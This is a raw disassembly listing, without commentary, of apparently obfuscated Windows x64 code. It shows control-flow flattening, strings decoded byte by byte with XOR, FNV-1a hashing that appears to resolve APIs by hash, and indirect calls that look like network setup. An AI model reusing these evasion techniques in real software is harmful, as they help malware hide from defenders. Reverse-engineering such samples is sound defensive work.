jmp 0x18007bbf0
mov edx, dword [rbp + 0x898]
movsx edx, dl
mov dword [rbp + 0x888], edx
mov edx, 0x6c0861c
jmp 0x18007bbd0
mov edx, dword [rbp + 0x8b0]
add edx, dword [rbp + 0x888]
mov byte [rcx + 4], dl
mov edx, 0xd93b3763
nop dword [rax + rax]
cmp edx, 0x6c0861c
je 0x18007bc97
cmp edx, 0xd93b3763
jne 0x18007bc40
mov dword [rbp + 0x8b0], WSAStartup
mov edx, 0x89bee7e9
nop
cmp edx, 0xc6517e53
je 0x18007bc81
cmp edx, 0x89bee7e9
jne 0x18007bc60
mov dword [rbp + 0x898], 0xa
mov edx, 0xc6517e53
jmp 0x18007bc60
mov edx, dword [rbp + 0x898]
movsx edx, dl
mov dword [rbp + 0x888], edx
mov edx, 0x6c0861c
jmp 0x18007bc40
mov edx, dword [rbp + 0x8b0]
add edx, dword [rbp + 0x888]
mov byte [rcx + 5], dl
mov edx, 0xd93b3763
nop dword [rax + rax]
cmp edx, 0x6c0861c
je 0x18007bd07
cmp edx, 0xd93b3763
jne 0x18007bcb0
mov dword [rbp + 0x8b0], 0x4f
mov edx, 0x89bee7e9
nop
cmp edx, 0xc6517e53
je 0x18007bcf1
cmp edx, 0x89bee7e9
jne 0x18007bcd0
mov dword [rbp + 0x898], 0xa
mov edx, 0xc6517e53
jmp 0x18007bcd0
mov edx, dword [rbp + 0x898]
movsx edx, dl
mov dword [rbp + 0x888], edx
mov edx, 0x6c0861c
jmp 0x18007bcb0
mov edx, dword [rbp + 0x8b0]
add edx, dword [rbp + 0x888]
mov byte [rcx + 6], dl
mov edx, 0xd93b3763
nop dword [rax + rax]
cmp edx, 0x6c0861c
je 0x18007bd77
cmp edx, 0xd93b3763
jne 0x18007bd20
mov dword [rbp + 0x8b0], WSAStartup
mov edx, 0x89bee7e9
nop
cmp edx, 0xc6517e53
je 0x18007bd61
cmp edx, 0x89bee7e9
jne 0x18007bd40
mov dword [rbp + 0x898], 0xa
mov edx, 0xc6517e53
jmp 0x18007bd40
mov edx, dword [rbp + 0x898]
movsx edx, dl
mov dword [rbp + 0x888], edx
mov edx, 0x6c0861c
jmp 0x18007bd20
mov edx, dword [rbp + 0x8b0]
add edx, dword [rbp + 0x888]
mov byte [rcx + 7], dl
mov edx, 0xd93b3763
nop dword [rax + rax]
cmp edx, 0x6c0861c
je 0x18007bde7
cmp edx, 0xd93b3763
jne 0x18007bd90
mov dword [rbp + 0x8b0], 0x65
mov edx, 0x89bee7e9
nop
cmp edx, 0xc6517e53
je 0x18007bdd1
cmp edx, 0x89bee7e9
jne 0x18007bdb0
mov dword [rbp + 0x898], 0xa
mov edx, 0xc6517e53
jmp 0x18007bdb0
mov edx, dword [rbp + 0x898]
movsx edx, dl
mov dword [rbp + 0x888], edx
mov edx, 0x6c0861c
jmp 0x18007bd90
mov edx, dword [rbp + 0x8b0]
add edx, dword [rbp + 0x888]
mov byte [rcx + 8], dl
add rcx, 9
mov qword [rbp + 0x8c8], rcx
mov qword [rbp + 0x8d0], rax
mov ecx, 0x3e79d081
jmp 0x18007b9e0
mov rax, qword [rbp + 0x8d0]
movsx eax, byte [rax]
mov ecx, 0xd93b3763
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x6c0861c
je 0x18007be87
cmp ecx, 0xd93b3763
jne 0x18007be30
mov dword [rbp + 0x8b0], eax
mov ecx, 0x89bee7e9
nop dword [rax + rax]
cmp ecx, 0xc6517e53
je 0x18007be71
cmp ecx, 0x89bee7e9
jne 0x18007be50
mov dword [rbp + 0x898], 0xa
mov ecx, 0xc6517e53
jmp 0x18007be50
mov ecx, dword [rbp + 0x898]
movsx ecx, cl
mov dword [rbp + 0x888], ecx
mov ecx, 0x6c0861c
jmp 0x18007be30
mov eax, dword [rbp + 0x8b0]
add eax, dword [rbp + 0x888]
mov rcx, qword [rbp + 0x8c8]
mov byte [rcx], al
mov rax, qword [rbp + 0x8c8]
mov byte [rax + 1], 0
mov edx, 0xaf8523ae
mov eax, 0x4afabd1
jmp 0x18007bed0
mov edx, dword [rbp + 0x888]
mov rbx, qword [rbp + 0x8c8]
mov byte [rbx], dl
mov edx, 0x58920cfb
nop word [rax + rax]
cmp edx, 0x193da6f2
jle 0x18007bf10
cmp edx, 0x6a11d275
jg 0x18007bf50
cmp edx, 0x193da6f3
je 0x18007bfd1
cmp edx, 0x58920cfb
jne 0x18007c06d
mov rcx, qword [rbp + 0x8d0]
add rcx, 1
mov edx, 0xca4a84ff
jmp 0x18007bed0
cmp edx, 0x4afabd0
jg 0x18007bf80
cmp edx, 0xaf8523ae
je 0x18007bfe9
cmp edx, 0xca4a84ff
jne 0x18007bed0
mov qword [rbp + 0x8d0], rcx
mov rdx, qword [rbp + 0x8d0]
cmp rdx, 0xb
mov edx, 0x6a11d276
cmovb edx, eax
jmp 0x18007bed0
cmp edx, 0x6a11d276
je 0x18007bff3
cmp edx, 0x7a1fea2b
jne 0x18007bed0
mov edx, 0xca4a84ff
xor ecx, ecx
jmp 0x18007bed0
cmp edx, 0x4afabd1
je 0x18007c004
cmp edx, 0xeb903e2
jne 0x18007bed0
mov rdx, qword [rbp + 0x8c8]
movsx edx, byte [rdx]
mov dword [rbp + 0x8a8], edx
mov edx, 0x89bee7e9
nop dword [rax]
cmp edx, 0xc6517e53
je 0x18007c01f
cmp edx, 0x89bee7e9
jne 0x18007bfb0
mov dword [rbp + 0x888], 0xa
mov edx, 0xc6517e53
jmp 0x18007bfb0
mov rdx, qword [rbp + 0x898]
mov qword [rbp + 0x8b8], rdx
mov edx, 0x584ee9a7
jmp 0x18007bed0
mov edx, 0x7a1fea2b
jmp 0x18007bed0
mov qword [rbp + 0x898], r13
mov edx, 0x193da6f3
jmp 0x18007bed0
mov rdx, qword [rbp + 0x8d0]
add rdx, r13
mov qword [rbp + 0x8c8], rdx
mov edx, 0xeb903e2
jmp 0x18007bed0
mov edx, dword [rbp + 0x888]
movsx edx, dl
mov dword [rbp + 0x8b0], edx
mov edx, 0xdb205821
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x7dce3466
je 0x18007beb3
cmp edx, 0xdb205821
jne 0x18007c040
mov edx, dword [rbp + 0x8a8]
sub edx, dword [rbp + 0x8b0]
mov dword [rbp + 0x888], edx
mov edx, 0x7dce3466
jmp 0x18007c040
cmp edx, 0x584ee9a7
jne 0x18007bed0
mov r12, qword [rbp + 0x8b8]
mov edx, 0x676f3d91
movabs r10, 0xcbf29ce484222325
mov r8d, 0xd12f0328
mov r9d, 0xd1da1d7e
mov r11d, 0x454da8a0
mov r14d, 0x7090fb3e
mov r15d, 0x9a007ce3
jmp 0x18007c0e0
movsxd rdi, ebx
xor rdi, qword [rbp + 0x8d0]
movabs rax, 0x100000001b3
imul rdi, rax
mov esi, dword [rbp + 0x8b8]
add esi, 1
mov edx, 0xac5b234
nop word cs:[rax + rax]
nop
cmp edx, 0xf65328f1
jg 0x18007c140
cmp edx, 0xc212bd2a
jle 0x18007c190
cmp edx, 0xd94e5920
jg 0x18007c20a
cmp edx, 0xc212bd2b
je 0x18007c2e7
cmp edx, 0xd12f0328
je 0x18007c2f1
cmp edx, 0xd1da1d7e
jne 0x18007c0e0
mov edx, dword [rbp + 0x8a4]
cmp edx, 0x7f
setl byte [rbp + 0x897]
mov edx, 0x1ee519d6
jmp 0x18007c0e0
cmp edx, 0x32830d68
jg 0x18007c1d0
cmp edx, 0x1ee519d5
jle 0x18007c243
cmp edx, 0x1ee519d6
je 0x18007c30a
cmp edx, 0x23144f16
je 0x18007c31f
cmp edx, 0x266919b2
jne 0x18007c0e0
mov edx, 0xde45267d
jmp 0x18007c0e0
cmp edx, 0xa971a22b
jle 0x18007c284
cmp edx, 0xa971a22c
je 0x18007c32f
cmp edx, 0xaa53857a
je 0x18007c33b
cmp edx, 0xae198c88
jne 0x18007c0e0
mov edx, 0xac5b234
xor esi, esi
mov rdi, r10
jmp 0x18007c0e0
cmp edx, 0x5eec1115
jle 0x18007c2b8
cmp edx, 0x5eec1116
je 0x18007c345
cmp edx, 0x7090fb3e
je 0x18007c369
cmp edx, 0x676f3d91
jne 0x18007c0e0
mov edx, 0xa971a22c
jmp 0x18007c0e0
cmp edx, 0xd94e5921
je 0x18007c0af
cmp edx, 0xde45267d
je 0x18007c382
cmp edx, 0xe4465726
jne 0x18007c0e0
cmp byte [rbp + 0x890], 0
mov edx, 0x32830d69
cmovne edx, r8d
jmp 0x18007c0e0
cmp edx, 0xf65328f2
je 0x18007c392
cmp edx, 0xac5b234
jne 0x18007c3ea
mov dword [rbp + 0x8b8], esi
mov qword [rbp + 0x8d0], rdi
mov edx, dword [rbp + 0x898]
mov eax, dword [rbp + 0x8b8]
cmp eax, edx
mov edx, 0x6d3d8b8
cmovb edx, r11d
jmp 0x18007c0e0
cmp edx, 0x9a007ce3
je 0x18007c3c0
cmp edx, 0x9a8ae9d1
jne 0x18007c0e0
mov rax, qword [rbp + 0x8c8]
movzx eax, byte [r12 + rax]
mov byte [rbp + 0x8c7], al
mov edx, 0x5eec1116
jmp 0x18007c0e0
cmp edx, 0x32830d69
je 0x18007c3da
cmp edx, 0x454da8a0
jne 0x18007c0e0
mov eax, dword [rbp + 0x8b8]
mov qword [rbp + 0x8c8], rax
mov edx, 0x9a8ae9d1
jmp 0x18007c0e0
mov edx, 0xae198c88
jmp 0x18007c0e0
mov eax, dword [rbp + 0x8b0]
or eax, 0x20
mov dword [rbp + 0x888], eax
mov edx, 0x23144f16
jmp 0x18007c0e0
cmp byte [rbp + 0x897], 0
mov edx, 0xaa53857a
cmovne edx, r14d
jmp 0x18007c0e0
mov edx, 0xd94e5921
mov ebx, dword [rbp + 0x888]
jmp 0x18007c0e0
mov edx, 0xf65328f2
xor ecx, ecx
jmp 0x18007c0e0
mov edx, 0xc212bd2b
jmp 0x18007c0e0
movsx eax, byte [rbp + 0x8c7]
mov dword [rbp + 0x8b0], eax
mov eax, dword [rbp + 0x8b0]
cmp eax, 0x40
mov edx, 0x32830d69
cmovg edx, r15d
jmp 0x18007c0e0
mov edx, dword [rbp + 0x898]
add edx, 1
mov dword [rbp + 0x8a8], edx
mov edx, 0x266919b2
jmp 0x18007c0e0
mov edx, 0xf65328f2
mov ecx, dword [rbp + 0x8a8]
jmp 0x18007c0e0
mov dword [rbp + 0x898], ecx
mov edx, dword [rbp + 0x898]
movsx edx, byte [r12 + rdx]
mov dword [rbp + 0x8a4], edx
mov edx, dword [rbp + 0x8a4]
cmp edx, 0x1f
mov edx, 0xaa53857a
cmovg edx, r9d
jmp 0x18007c0e0
mov eax, dword [rbp + 0x8b0]
cmp eax, 0x5b
setl byte [rbp + 0x890]
mov edx, 0xe4465726
jmp 0x18007c0e0
mov edx, 0xd94e5921
mov ebx, dword [rbp + 0x8b0]
jmp 0x18007c0e0
cmp edx, 0x6d3d8b8
jne 0x18007c0e0
mov rcx, qword [rbp + 0x8d0]
call fcn.1800ae820
mov ecx, 0x7f118e82
nop word [rax + rax]
cmp ecx, 0x72cfd8c3
je 0x18007c435
cmp ecx, 0x7f118e82
jne 0x18007c410
lea rcx, [rbp + 0x848]
mov qword [rbp + 0x8b0], rcx
mov ecx, 0x72cfd8c3
jmp 0x18007c410
mov rdx, qword [rbp + 0x8b0]
lea rbx, [rdx + 0x18]
mov esi, 0xf99aba2d
mov edi, 0x78d5e74f
nop word [rax + rax]
cmp esi, 0xf99aba2c
jg 0x18007c490
cmp esi, 0xbf7fa212
je 0x18007c4c8
cmp esi, 0xc208624d
je 0x18007c550
cmp esi, 0xc9b225fe
jne 0x18007c450
mov esi, 0xc208624d
mov rcx, qword [rbp + 0x8c8]
jmp 0x18007c450
cmp esi, 0x78d5e74f
je 0x18007c509
cmp esi, 0x1d69498d
je 0x18007c524
cmp esi, 0xf99aba2d
jne 0x18007c450
mov qword [rbp + 0x888], rdx
mov rsi, qword [rbp + 0x888]
mov qword [rbp + 0x898], rsi
mov esi, 0xbf7fa212
jmp 0x18007c450
mov rcx, qword [rbp + 0x898]
mov qword [rbp + 0x8d0], rbx
mov esi, 0x9c4e9dc1
nop dword [rax + rax]
cmp esi, 0x6305b276
je 0x18007c53c
cmp esi, 0x9c4e9dc1
jne 0x18007c4e0
mov rsi, qword [rbp + 0x8d0]
cmp qword [rsi], 7
seta byte [rbp + 0x8a8]
mov esi, 0x6305b276
jmp 0x18007c4e0
mov rsi, qword [rbp + 0x888]
mov rsi, qword [rsi]
mov qword [rbp + 0x8b8], rsi
mov esi, 0x1d69498d
jmp 0x18007c450
mov rsi, qword [rbp + 0x8b8]
mov qword [rbp + 0x8c8], rsi
mov esi, 0xc9b225fe
jmp 0x18007c450
cmp byte [rbp + 0x8a8], 0
mov esi, 0xc208624d
cmovne esi, edi
jmp 0x18007c450
mov dword [rsp + 0x20], 0
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call rax
mov qword [rbp + 0x870], rax
cmp qword [rbp + 0x870], 0
je 0x18007cda5
lea rax, [rbp + 0x3e0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x87e]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x38], 0x104
mov dword [rsp + 0x20], 0x104
lea r8, [rbp + 0x830]
lea r9, [rbp + 0x1d0]
mov rcx, qword [rbp + 0x880]
mov rdx, rcx
call fcn.180072c60
test al, al
je 0x18007d220
mov edx, 0x392953f2
mov esi, 0x5c86e06b
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x3df91620
jg 0x18007c650
cmp edx, 0xfae3c780
je 0x18007c665
cmp edx, 0x392953f2
jne 0x18007c5e0
mov qword [rbp + 0x898], r13
mov rdx, qword [rbp + 0x898]
mov byte [rdx], 0x29
mov rdx, qword [rbp + 0x898]
mov ebx, 0xa443f7c5
nop word cs:[rax + rax]
nop
cmp ebx, 0xc3c62cce
je 0x18007c680
cmp ebx, 0xa443f7c5
jne 0x18007c620
mov dword [rbp + 0x888], 0x57
mov ebx, 0xc3c62cce
jmp 0x18007c620
cmp edx, 0x3df91621
je 0x18007c6c5
cmp edx, 0x5c86e06b
jne 0x18007c5e0
jmp 0x18007cdac
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x8c8]
mov edx, 0xfae3c780
cmove edx, esi
jmp 0x18007c5e0
movsx rbx, byte [rbp + 0x730]
mov qword [rbp + 0x8d0], rbx
mov edi, 0xd35389d
nop word cs:[rax + rax]
nop
cmp edi, 0xac5c260e
je 0x18007c6fd
cmp edi, 0xd35389d
jne 0x18007c6a0
mov rdi, qword [rbp + 0x8d0]
mov byte [rbp + 0x8b0], dil
mov edi, 0xac5c260e
jmp 0x18007c6a0
movsx ecx, byte [rbp + 0x8a8]
mov edx, 0xa443f7c5
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xc3c62cce
je 0x18007c741
cmp edx, 0xa443f7c5
jne 0x18007c6e0
mov dword [rbp + 0x888], ecx
mov edx, 0xc3c62cce
jmp 0x18007c6e0
mov al, byte [rbp + 0x8b0]
mov edi, dword [rbp + 0x888]
xor dil, al
mov byte [rdx + 1], dil
mov edi, 0xa443f7c5
nop word cs:[rax + rax]
nop
cmp edi, 0xc3c62cce
je 0x18007c784
cmp edi, 0xa443f7c5
jne 0x18007c720
mov dword [rbp + 0x888], 0x69
mov edi, 0xc3c62cce
jmp 0x18007c720
movsx rax, byte [rbp + 0x730]
add rax, 5
mov qword [rbp + 0x8d0], rax
mov ecx, 0xd35389d
nop dword [rax]
cmp ecx, 0xac5c260e
je 0x18007c7c4
cmp ecx, 0xd35389d
jne 0x18007c760
mov rax, qword [rbp + 0x8d0]
mov byte [rbp + 0x8b0], al
mov ecx, 0xac5c260e
jmp 0x18007c760
lea rax, [rbx + 1]
mov qword [rbp + 0x8d0], rax
mov edi, 0xd35389d
nop word cs:[rax + rax]
nop
cmp edi, 0xac5c260e
je 0x18007c811
cmp edi, 0xd35389d
jne 0x18007c7a0
mov rax, qword [rbp + 0x8d0]
mov byte [rbp + 0x8b0], al
mov edi, 0xac5c260e
jmp 0x18007c7a0
mov al, byte [rbp + 0x8b0]
mov ecx, dword [rbp + 0x888]
xor cl, al
mov rax, qword [rbp + 0x8b8]
mov byte [rax], cl
mov rcx, qword [rbp + 0x8b8]
mov edx, 0xa443f7c5
nop word [rax + rax]
cmp edx, 0xc3c62cce
je 0x18007c851
cmp edx, 0xa443f7c5
jne 0x18007c7f0
mov dword [rbp + 0x888], WSAStartup
mov edx, 0xc3c62cce
jmp 0x18007c7f0
mov al, byte [rbp + 0x8b0]
mov edi, dword [rbp + 0x888]
xor dil, al
mov byte [rdx + 2], dil
mov edi, 0xa443f7c5
nop dword [rax]
cmp edi, 0xc3c62cce
je 0x18007c894
cmp edi, 0xa443f7c5
jne 0x18007c830
mov dword [rbp + 0x888], WSAStartup
mov edi, 0xc3c62cce
jmp 0x18007c830
movsx rdx, byte [rbp + 0x730]
lea rax, [rdx + 6]
mov qword [rbp + 0x8d0], rax
mov ebx, 0xd35389d
nop dword [rax]
cmp ebx, 0xac5c260e
je 0x18007c8d4
cmp ebx, 0xd35389d
jne 0x18007c870
mov rax, qword [rbp + 0x8d0]
mov byte [rbp + 0x8b0], al
mov ebx, 0xac5c260e
jmp 0x18007c870
lea rax, [rbx + 2]
mov qword [rbp + 0x8d0], rax
mov edi, 0xd35389d
nop word cs:[rax + rax]
nop
cmp edi, 0xac5c260e
je 0x18007c911
cmp edi, 0xd35389d
jne 0x18007c8b0
mov rax, qword [rbp + 0x8d0]
mov byte [rbp + 0x8b0], al
mov edi, 0xac5c260e
jmp 0x18007c8b0
mov al, byte [rbp + 0x8b0]
mov ebx, dword [rbp + 0x888]
xor bl, al
mov byte [rcx + 1], bl
mov ebx, 0xa443f7c5
nop word [rax + rax]
cmp ebx, 0xc3c62cce
je 0x18007c951
cmp ebx, 0xa443f7c5
jne 0x18007c8f0
mov dword [rbp + 0x888], 0x43
mov ebx, 0xc3c62cce
jmp 0x18007c8f0
mov al, byte [rbp + 0x8b0]
mov edi, dword [rbp + 0x888]
xor dil, al
mov byte [rdx + 3], dil
mov edi, 0xa443f7c5
nop dword [rax]
cmp edi, 0xc3c62cce
je 0x18007c994
cmp edi, 0xa443f7c5
jne 0x18007c930
mov dword [rbp + 0x888], 0x48
mov edi, 0xc3c62cce
jmp 0x18007c930
lea rax, [rdx + 7]
mov qword [rbp + 0x8d0], rax
mov ebx, 0xd35389d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0xac5c260e
je 0x18007c9d4
cmp ebx, 0xd35389d
jne 0x18007c970
mov rax, qword [rbp + 0x8d0]
mov byte [rbp + 0x8b0], al
mov ebx, 0xac5c260e
jmp 0x18007c970
lea rax, [rbx + 3]
mov qword [rbp + 0x8d0], rax
mov edi, 0xd35389d
nop word cs:[rax + rax]
nop
cmp edi, 0xac5c260e
je 0x18007ca11
cmp edi, 0xd35389d
jne 0x18007c9b0
mov rax, qword [rbp + 0x8d0]
mov byte [rbp + 0x8b0], al
mov edi, 0xac5c260e
jmp 0x18007c9b0
mov al, byte [rbp + 0x8b0]
mov ebx, dword [rbp + 0x888]
xor bl, al
mov byte [rcx + 2], bl
mov ebx, 0xa443f7c5
nop word [rax + rax]
cmp ebx, 0xc3c62cce
je 0x18007ca51
cmp ebx, 0xa443f7c5
jne 0x18007c9f0
mov dword [rbp + 0x888], WSAStartup
mov ebx, 0xc3c62cce
jmp 0x18007c9f0
mov al, byte [rbp + 0x8b0]
mov edi, dword [rbp + 0x888]
xor dil, al
mov byte [rdx + 4], dil
mov edi, 0xa443f7c5
nop dword [rax]
cmp edi, 0xc3c62cce
je 0x18007ca94
cmp edi, 0xa443f7c5
jne 0x18007ca30
mov dword [rbp + 0x888], 0x74
mov edi, 0xc3c62cce
jmp 0x18007ca30
lea rax, [rdx + 8]
mov qword [rbp + 0x8d0], rax
mov ebx, 0xd35389d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0xac5c260e
je 0x18007cad4
cmp ebx, 0xd35389d
jne 0x18007ca70
mov rax, qword [rbp + 0x8d0]
mov byte [rbp + 0x8b0], al
mov ebx, 0xac5c260e
jmp 0x18007ca70
add rbx, 4
mov qword [rbp + 0x8d0], rbx
mov ebx, 0xd35389d
nop word cs:[rax + rax]
nop
cmp ebx, 0xac5c260e
je 0x18007cb11
cmp ebx, 0xd35389d
jne 0x18007cab0
mov rax, qword [rbp + 0x8d0]
mov byte [rbp + 0x8b0], al
mov ebx, 0xac5c260e
jmp 0x18007cab0
mov al, byte [rbp + 0x8b0]
mov ebx, dword [rbp + 0x888]
xor bl, al
mov byte [rcx + 3], bl
mov ebx, 0xa443f7c5
nop word [rax + rax]
cmp ebx, 0xc3c62cce
je 0x18007cb3e
cmp ebx, 0xa443f7c5
jne 0x18007caf0
mov dword [rbp + 0x888], WSAStartup
mov ebx, 0xc3c62cce
jmp 0x18007caf0
mov al, byte [rbp + 0x8b0]
mov ebx, dword [rbp + 0x888]
xor bl, al
mov byte [rdx + 5], bl
add rdx, 6
mov qword [rbp + 0x8b8], rdx
mov byte [rbp + 0x8a8], 0x74
mov edx, 0x3df91621
jmp 0x18007c5e0
lea rax, [rdx + 9]
mov qword [rbp + 0x8d0], rax
mov ebx, 0xd35389d
nop
cmp ebx, 0xac5c260e
je 0x18007cb74
cmp ebx, 0xd35389d
jne 0x18007cb50
mov rax, qword [rbp + 0x8d0]
mov byte [rbp + 0x8b0], al
mov ebx, 0xac5c260e
jmp 0x18007cb50
mov al, byte [rbp + 0x8b0]
mov ebx, dword [rbp + 0x888]
xor bl, al
mov byte [rcx + 4], bl
mov ebx, 0xa443f7c5
nop word [rax + rax]
cmp ebx, 0xc3c62cce
je 0x18007cbb1
cmp ebx, 0xa443f7c5
jne 0x18007cb90
mov dword [rbp + 0x888], WSAStartup
mov ebx, 0xc3c62cce
jmp 0x18007cb90
lea rax, [rdx + 0xa]
mov qword [rbp + 0x8d0], rax
mov ebx, 0xd35389d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0xac5c260e
je 0x18007cbf4
cmp ebx, 0xd35389d
jne 0x18007cbd0
mov rax, qword [rbp + 0x8d0]
mov byte [rbp + 0x8b0], al
mov ebx, 0xac5c260e
jmp 0x18007cbd0
mov al, byte [rbp + 0x8b0]
mov ebx, dword [rbp + 0x888]
xor bl, al
mov byte [rcx + 5], bl
mov ebx, 0xa443f7c5
nop word [rax + rax]
cmp ebx, 0xc3c62cce
je 0x18007cc31
cmp ebx, 0xa443f7c5
jne 0x18007cc10
mov dword [rbp + 0x888], 0x65
mov ebx, 0xc3c62cce
jmp 0x18007cc10
lea rax, [rdx + 0xb]
mov qword [rbp + 0x8d0], rax
mov ebx, 0xd35389d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0xac5c260e
je 0x18007cc74
cmp ebx, 0xd35389d
jne 0x18007cc50
mov rax, qword [rbp + 0x8d0]
mov byte [rbp + 0x8b0], al
mov ebx, 0xac5c260e
jmp 0x18007cc50
mov al, byte [rbp + 0x8b0]
mov ebx, dword [rbp + 0x888]
xor bl, al
mov byte [rcx + 6], bl
mov ebx, 0xa443f7c5
nop word [rax + rax]
cmp ebx, 0xc3c62cce
je 0x18007ccb1
cmp ebx, 0xa443f7c5
jne 0x18007cc90
mov dword [rbp + 0x888], 0x63
mov ebx, 0xc3c62cce
jmp 0x18007cc90
lea rax, [rdx + 0xc]
mov qword [rbp + 0x8d0], rax
mov ebx, 0xd35389d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0xac5c260e
je 0x18007ccf4
cmp ebx, 0xd35389d
jne 0x18007ccd0
mov rax, qword [rbp + 0x8d0]
mov byte [rbp + 0x8b0], al
mov ebx, 0xac5c260e
jmp 0x18007ccd0
mov al, byte [rbp + 0x8b0]
mov ebx, dword [rbp + 0x888]
xor bl, al
mov byte [rcx + 7], bl
mov ebx, 0xa443f7c5
nop word [rax + rax]
cmp ebx, 0xc3c62cce
je 0x18007cd31
cmp ebx, 0xa443f7c5
jne 0x18007cd10
mov dword [rbp + 0x888], 0x74
mov ebx, 0xc3c62cce
jmp 0x18007cd10
add rdx, 0xd
mov qword [rbp + 0x8d0], rdx
mov edx, 0xd35389d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xac5c260e
je 0x18007cd74
cmp edx, 0xd35389d
jne 0x18007cd50
mov rax, qword [rbp + 0x8d0]
mov byte [rbp + 0x8b0], al
mov edx, 0xac5c260e
jmp 0x18007cd50
mov al, byte [rbp + 0x8b0]
mov edx, dword [rbp + 0x888]
xor dl, al
mov byte [rcx + 8], dl
add rcx, 9
mov rax, qword [rbp + 0x898]
add rax, 0x10
mov qword [rbp + 0x8c8], rax
mov edx, 0xfae3c780
jmp 0x18007c5e0
xor edi, edi
jmp 0x180083931
lea rcx, [rbp + 0x730]
call fcn.180084420
mov r15d, 0x676f3d91
movabs r10, 0xcbf29ce484222325
mov r8d, 0xd12f0328
mov r9d, 0xd1da1d7e
mov r11d, 0x454da8a0
mov r14d, 0x7090fb3e
mov r12d, 0x9a007ce3
jmp 0x18007ce10
movsxd rbx, r13d
xor rbx, qword [rbp + 0x8d0]
movabs rdx, 0x100000001b3
imul rbx, rdx
mov esi, dword [rbp + 0x8b8]
add esi, 1
mov r15d, 0xac5b234
nop
cmp r15d, 0xf65328f1
jg 0x18007ce70
cmp r15d, 0xc212bd2a
jle 0x18007cec0
cmp r15d, 0xd94e5920
jg 0x18007cf4f
cmp r15d, 0xc212bd2b
je 0x18007d038
cmp r15d, 0xd12f0328
je 0x18007d043
cmp r15d, 0xd1da1d7e
jne 0x18007ce10
mov edx, dword [rbp + 0x8a4]
cmp edx, 0x7f
setl byte [rbp + 0x897]
mov r15d, 0x1ee519d6
jmp 0x18007ce10
cmp r15d, 0x32830d68
jg 0x18007cf10
cmp r15d, 0x1ee519d5
jle 0x18007cf8c
cmp r15d, 0x1ee519d6
je 0x18007d05d
cmp r15d, 0x23144f16
je 0x18007d073
cmp r15d, 0x266919b2
jne 0x18007ce10
mov r15d, 0xde45267d
jmp 0x18007ce10
cmp r15d, 0xa971a22b
jle 0x18007cfd0
cmp r15d, 0xa971a22c
je 0x18007d085
cmp r15d, 0xaa53857a
je 0x18007d092
cmp r15d, 0xae198c88
jne 0x18007ce10
mov r15d, 0xac5b234
xor esi, esi
mov rbx, r10
jmp 0x18007ce10
cmp r15d, 0x5eec1115
jle 0x18007d006
cmp r15d, 0x5eec1116
je 0x18007d09d
cmp r15d, 0x7090fb3e
je 0x18007d0c2
cmp r15d, 0x676f3d91
jne 0x18007ce10
mov r15d, 0xa971a22c
jmp 0x18007ce10
cmp r15d, 0xd94e5921
je 0x18007cde8
cmp r15d, 0xde45267d
je 0x18007d0dc
cmp r15d, 0xe4465726
jne 0x18007ce10
cmp byte [rbp + 0x890], 0
mov r15d, 0x32830d69
cmovne r15d, r8d
jmp 0x18007ce10
cmp r15d, 0xf65328f2
je 0x18007d0ed
cmp r15d, 0xac5b234
jne 0x18007d148
mov dword [rbp + 0x8b8], esi
mov qword [rbp + 0x8d0], rbx
mov edx, dword [rbp + 0x898]
mov edi, dword [rbp + 0x8b8]
cmp edi, edx
mov r15d, 0x6d3d8b8
cmovb r15d, r11d
jmp 0x18007ce10
cmp r15d, 0x9a007ce3
je 0x18007d11b
cmp r15d, 0x9a8ae9d1
jne 0x18007ce10
mov rdx, qword [rbp + 0x8c8]
movzx edx, byte [rax + rdx]
mov byte [rbp + 0x8c7], dl
mov r15d, 0x5eec1116
jmp 0x18007ce10
cmp r15d, 0x32830d69
je 0x18007d136
cmp r15d, 0x454da8a0
jne 0x18007ce10
mov edx, dword [rbp + 0x8b8]
mov qword [rbp + 0x8c8], rdx
mov r15d, 0x9a8ae9d1
jmp 0x18007ce10
mov r15d, 0xae198c88
jmp 0x18007ce10
mov edx, dword [rbp + 0x8b0]
or edx, 0x20
mov dword [rbp + 0x888], edx
mov r15d, 0x23144f16
jmp 0x18007ce10
cmp byte [rbp + 0x897], 0
mov r15d, 0xaa53857a
cmovne r15d, r14d
jmp 0x18007ce10
mov r15d, 0xd94e5921
mov r13d, dword [rbp + 0x888]
jmp 0x18007ce10
mov r15d, 0xf65328f2
xor ecx, ecx
jmp 0x18007ce10
mov r15d, 0xc212bd2b
jmp 0x18007ce10
movsx edx, byte [rbp + 0x8c7]
mov dword [rbp + 0x8b0], edx
mov edx, dword [rbp + 0x8b0]
cmp edx, 0x40
mov r15d, 0x32830d69
cmovg r15d, r12d
jmp 0x18007ce10
mov edx, dword [rbp + 0x898]
add edx, 1
mov dword [rbp + 0x8a8], edx
mov r15d, 0x266919b2
jmp 0x18007ce10
mov r15d, 0xf65328f2
mov ecx, dword [rbp + 0x8a8]
jmp 0x18007ce10
mov dword [rbp + 0x898], ecx
mov edx, dword [rbp + 0x898]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x8a4], edx
mov edx, dword [rbp + 0x8a4]
cmp edx, 0x1f
mov r15d, 0xaa53857a
cmovg r15d, r9d
jmp 0x18007ce10
mov edx, dword [rbp + 0x8b0]
cmp edx, 0x5b
setl byte [rbp + 0x890]
mov r15d, 0xe4465726
jmp 0x18007ce10
mov r15d, 0xd94e5921
mov r13d, dword [rbp + 0x8b0]
jmp 0x18007ce10
cmp r15d, 0x6d3d8b8
jne 0x18007ce10
mov rcx, qword [rbp + 0x8d0]
call fcn.1800ae820
lea r13, [rbp + 0x730]
movzx r8d, word [rbp + 0x87e]
lea rdx, [rbp + 0x1d0]
mov rcx, qword [rbp + 0x870]
xor r9d, r9d
call rax
mov qword [rbp + 0x840], rax
cmp qword [rbp + 0x840], 0
je 0x18007d220
